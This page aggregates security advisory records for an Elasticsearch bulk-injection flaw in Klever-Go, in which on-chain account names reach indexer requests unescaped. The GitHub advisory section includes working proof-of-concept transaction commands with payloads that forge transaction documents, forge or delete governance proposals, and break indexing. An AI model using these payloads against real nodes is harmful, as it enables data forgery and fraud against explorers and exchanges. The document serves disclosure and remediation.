Klever-Go: Elasticsearch bulk / painless injection via on-chain account name -> explorer/indexer data forgery

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Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, indexer/common.go serializedDataForUpdateAccounts places the attacker-controlled acc.Name value into an Elasticsearch _bulk JSON and NDJSON request without escaping it. The SetAccountName transaction accepts valid UTF-8 account names containing quotes, backslashes, and newlines, and the resulting name is stored in consensus account state. When an indexer processes the account, those characters can break the JSON string, reject a bulk batch, or inject additional bulk actions that create, overwrite, or delete documents in indices writable by the indexer. The persistent state value is replayed by new or historical indexers, and direct access to the indexing host or Elasticsearch port is not required. This issue is fixed in version 1.7.20.

Source published

23 Sep 2026 19:23:45 UTC

Source modified

24 Sep 2026 15:22:11 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 4.0 · 8.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:L

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, indexer/common.go serializedDataForUpdateAccounts places the attacker-controlled acc.Name value into an Elasticsearch _bulk JSON and NDJSON request without escaping it. The SetAccountName transaction accepts valid UTF-8 account names containing quotes, backslashes, and newlines, and the resulting name is stored in consensus account state. When an indexer processes the account, those characters can break the JSON string, reject a bulk batch, or inject additional bulk actions that create, overwrite, or delete documents in indices writable by the indexer. The persistent state value is replayed by new or historical indexers, and direct access to the indexing host or Elasticsearch port is not required. This issue is fixed in version 1.7.20.

Source published

Sep 23, 2026, 7:23:45 PM (timezone not stated)

Source modified

Sep 24, 2026, 3:22:11 PM (timezone not stated)

Observed here

11 Nov 2026 16:11:06 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 8.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:L

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, indexer/common.go serializedDataForUpdateAccounts places the attacker-controlled acc.Name value into an Elasticsearch _bulk JSON and NDJSON request without escaping it. The SetAccountName transaction accepts valid UTF-8 account names containing quotes, backslashes, and newlines, and the resulting name is stored in consensus account state. When an indexer processes the account, those characters can break the JSON string, reject a bulk batch, or inject additional bulk actions that create, overwrite, or delete documents in indices writable by the indexer. The persistent state value is replayed by new or historical indexers, and direct access to the indexing host or Elasticsearch port is not required. This issue is fixed in version 1.7.20.

Source published

23 Sep 2026 20:17:16 UTC

Source modified

24 Sep 2026 16:17:12 UTC

Observed here

25 Oct 2026 16:19:10 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 8.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

**Component:** Elasticsearch indexer (`indexer/`) **Primary location:** `indexer/common.go:2395-2407` (`serializedDataForUpdateAccounts`) **Entry point:** `SetAccountName` native transaction (contract type 12) — `core/process/transaction/txProcess.go:688` --- ## Description When the node indexes account updates to Elasticsearch, it builds the ES `_bulk` painless-script line by splicing the account's **name** directly into JSON with `fmt.Sprintf("%s", ...)` and **no escaping**: ```go // indexer/common.go:2395-2407 (serializedDataForUpdateAccounts) serializedData := []byte(fmt.Sprintf(`{"script":{"source":"`+ `ctx._source.name = params.name; ... `+ `","lang": "painless","params":`+ `{"name": "%s", "nonce": %d, "rootHash": "%s", "balance": %d, ...}}}`, acc.Name, acc.Nonce, acc.RootHash, acc.Balance, ...)) // acc.Name is RAW ``` `acc.Name` originates from on-chain account state: `indexer/accountInfo.go:31` sets `Name: string(userAccount.GetName())`. An account name is fully attacker-controlled and only weakly validated when it is set on-chain by the `SetAccountName` handler: ```go // core/kapp/accounts/accounts.go:1740 if !utf8.Valid(tc.GetName()) || len(tc.GetName()) > core.MaxNameSize { ... } // MaxNameSize = 100 ``` The only constraints are **valid UTF-8** and **length ≤ 100 bytes**. Double-quote (`"`), backslash (`\`), and newline (`\n`) are all valid UTF-8 and are **not** rejected. The safe helper `converters.JsonEscape()` exists and is used for `_id` fields elsewhere in the same file (`common.go:893`, `:932`, `:961`) but is **not** applied to the name. The resulting buffer is POSTed verbatim to Elasticsearch `_bulk` by `elasticClient.DoBulkRequest` (`indexer/elasticClient.go:128`), with the index in the URL. The `_bulk` body is NDJSON — newline-delimited action/source pairs (`indexer/data/buffer.go:45` appends a `\n` after every entry). Therefore a name containing a quote and newlines can - inject arbitrary keys/structure into the document, - break the batch, and - inject entirely new bulk operations targeting **other** documents and **other** indices. `SetAccountName` is a first-class transaction contract type (`= 12`) dispatched natively at `txProcess.go:688` via `SetAccountName(tx.GetSender(), tc)`. The attacker names **their own** account with the payload in one ordinary signed transaction (normal fee, no contract deploy, no VM gas). (It is additionally exposed as a VM built-in `KleverSetAccountName`, but that path is not needed.) The name is written into consensus account state (`userAccount.SetName`, `data/state/userAccount.go:76`) and replicated to all nodes. The indexer reads it from **state**, not from the transaction, during each node's own block processing (`core/process/block/block.go:1141` `SaveBlock` / `SaveAccounts`). Consequently: - The attacker does not need any access to the node running the indexer, the ES port, or validator status. One broadcast to the network is enough. - Indexers typically run on **observer/gateway** nodes that power the public explorer/API — exactly the realistic victim. - The payload is **durable and replayable**: a newly stood-up indexer, or a historical re-index (import-DB mode, `cmd/node/startup.go:153`), re-reads the name from state and re-fires the injection. ### Escalation — from denial-of-indexing to arbitrary ES document CRUD Elasticsearch `_bulk` fails a malformed line differently by position: malformed **action** line → whole-batch HTTP 400 (nothing applies); malformed **source** line → **per-item** error (other items still apply). By appending a *sacrificial* action after the forged op, the serializer's fixed template tail (`", "nonce":...}}}`) lands in a source position (item-level error), so a clean forged op that precedes it is **applied**. This yields arbitrary create / overwrite / delete of documents in **any** index the indexer's ES credentials can write — cross-index via `{"index":{"_index":"...", "_id":"..."}}`. ### Deployment amplifier (default ES config) The Elasticsearch config klever ships (`docker/elasticsearch/elasticsearch.yml`, `docker/docker-compose.yml`) sets `xpack.security.enabled: false`, `network.host: 0.0.0.0`, publishes `9200:9200`, and CORS `*` with `POST,PUT,DELETE`. The node's default `config/node/external.yaml` connects with empty `username`/`password`. So the indexer writes to ES unauthenticated, and if ES is network-reachable it is itself fully open. Crucially, even when an operator firewalls ES to localhost, **this injection is the remote bridge** that reaches that private ES through the node's own trusted connection. --- ## POC The entire attack is a **single `SetAccountName` transaction** the attacker sends from any funded account, naming its **own** account with a crafted payload. ``` operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \ $'"}}}\n{"index":{"_index":"transactions","_id":"t"}}\n{"status":"success"}\n{"index":{}}' ``` This submits contract type 12 (`SetAccountNameContract`) with: ``` Name = "}}}⏎{"index":{"_index":"transactions","_id":"t"}}⏎{"status":"success"}⏎{"index":{}} ``` (84 bytes ≤ MaxNameSize 100; `⏎` = literal `\n`. On-chain `Name` is `[]byte`, i.e. base64 `In19fQp7ImluZGV4Ijp7Il9pbmRleCI6InRyYW5zYWN0aW9ucyIsIl9pZCI6InQifX0KeyJzdGF0dXMiOiJzdWNjZXNzIn0KeyJpbmRleCI6e319`.) ``` { "update": { "_index":"accounts", "_id":"<attacker>" } } {"script":{ ... ,"params":{"name": ""}}} {"index":{"_index":"transactions","_id":"t"}} ← forged bulk action {"status":"success"} ← forged doc → written to `transactions` {"index":{}}", "nonce":1, ... }}} ← sacrificial op absorbs the template tail ``` **Observed result:** a forged document `{"status":"success"}` with `_id:"t"` appears in the `transactions` index — the attacker never submitted any such transaction: ``` GET transactions/_doc/t { "found": true, "_source": { "status": "success" } } ``` ### Escalation variants — same delivery, only the `Name` changes Each is a single `SetAccountName` tx sent the same way; only the payload differs. **Denial-of-indexing** (2-byte name — breaks the batch, drops every co-batched account update): ``` operator --node=http://<node>:8099 -k attacker.pem --sign account set-name 'x"' ``` **Cross-index write / forge a document** (e.g. a governance proposal doc; 82 bytes): ``` operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \ $'"}}}\n{"index":{"_index":"proposals","_id":"5"}}\n{"status":"approved"}\n{"index":{}}' ``` **Delete a document** (e.g. proposal id 5; 61 bytes): ``` operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \ $'"}}}\n{"delete":{"_index":"proposals","_id":"5"}}\n{"index":{}}' ``` --- ## Impact A single, cheap, permissionless on-chain transaction (one tx fee; no contract, no special role, no access to the indexing host) lets an attacker inject into the Elasticsearch `_bulk` stream of **every node that indexes the chain** now or in the future. Two tiers of impact: 1. **Denial-of-indexing** A name containing a single `"` or newline makes ES reject the whole bulk batch (HTTP 400). Because the indexer batches many accounts per bulk (up to 4 MB), every co-batched honest account's balance/name/nonce update is silently **dropped** → the explorer/API serves **stale** data. Repeatable every block. 2. **Arbitrary document CRUD across all indexer indices (escalation).** Using the sacrificial-op construction, the attacker can **create/overwrite/delete** documents in any klever index the indexer writes (`transactions`, `blocks`, `accounts`, `proposals`, `assets`, `marketplaces`, ...): forge "successful" transactions, rewrite balances, delete or rewrite blocks and governance proposals. Anyone trusting the ES-backed API , wallets, block explorers, or an exchange crediting deposits off indexer data can be fed fabricated records, enabling fraud (e.g. a forged `status:success` transaction). **Amplifiers:** the payload is permanent replicated state, so it hits any current or future indexer and survives re-indexing; the attacker is fully decoupled from the victim indexer; and the shipped ES config is unauthenticated. --- ## Recommendation 1. **Escape the name .** Never splice on-chain strings into JSON with `fmt.Sprintf`. Either apply the existing `converters.JsonEscape()` to `acc.Name` (mirror the `_id` handling), or preferably build the entire bulk source with `json.Marshal` of a typed struct so no on-chain string can break the JSON/NDJSON structure. Audit every `fmt.Sprintf`-built bulk/script line in `indexer/common.go` for the same pattern (RootHash and other `%s` fields on this and nearby paths). 2. **Restrict the on-chain account-name charset** at `SetAccountName` (`accounts.go:1740`) reject control characters, quotes, and backslashes (or allow only a safe printable subset) as defense-in-depth. Gate any consensus-visible validation change behind an epoch fork flag.

Source published

23 Sep 2026 21:24:06 UTC

Source modified

1 Oct 2026 20:56:09 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:L

Publisher rating · HIGH

Klever-Go: Elasticsearch bulk / painless injection via on-chain account name -> explorer/indexer data forgery in github.com/klever-io/klever-go

Source published

1 Oct 2026 20:23:38 UTC

Source modified

1 Oct 2026 20:45:15 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.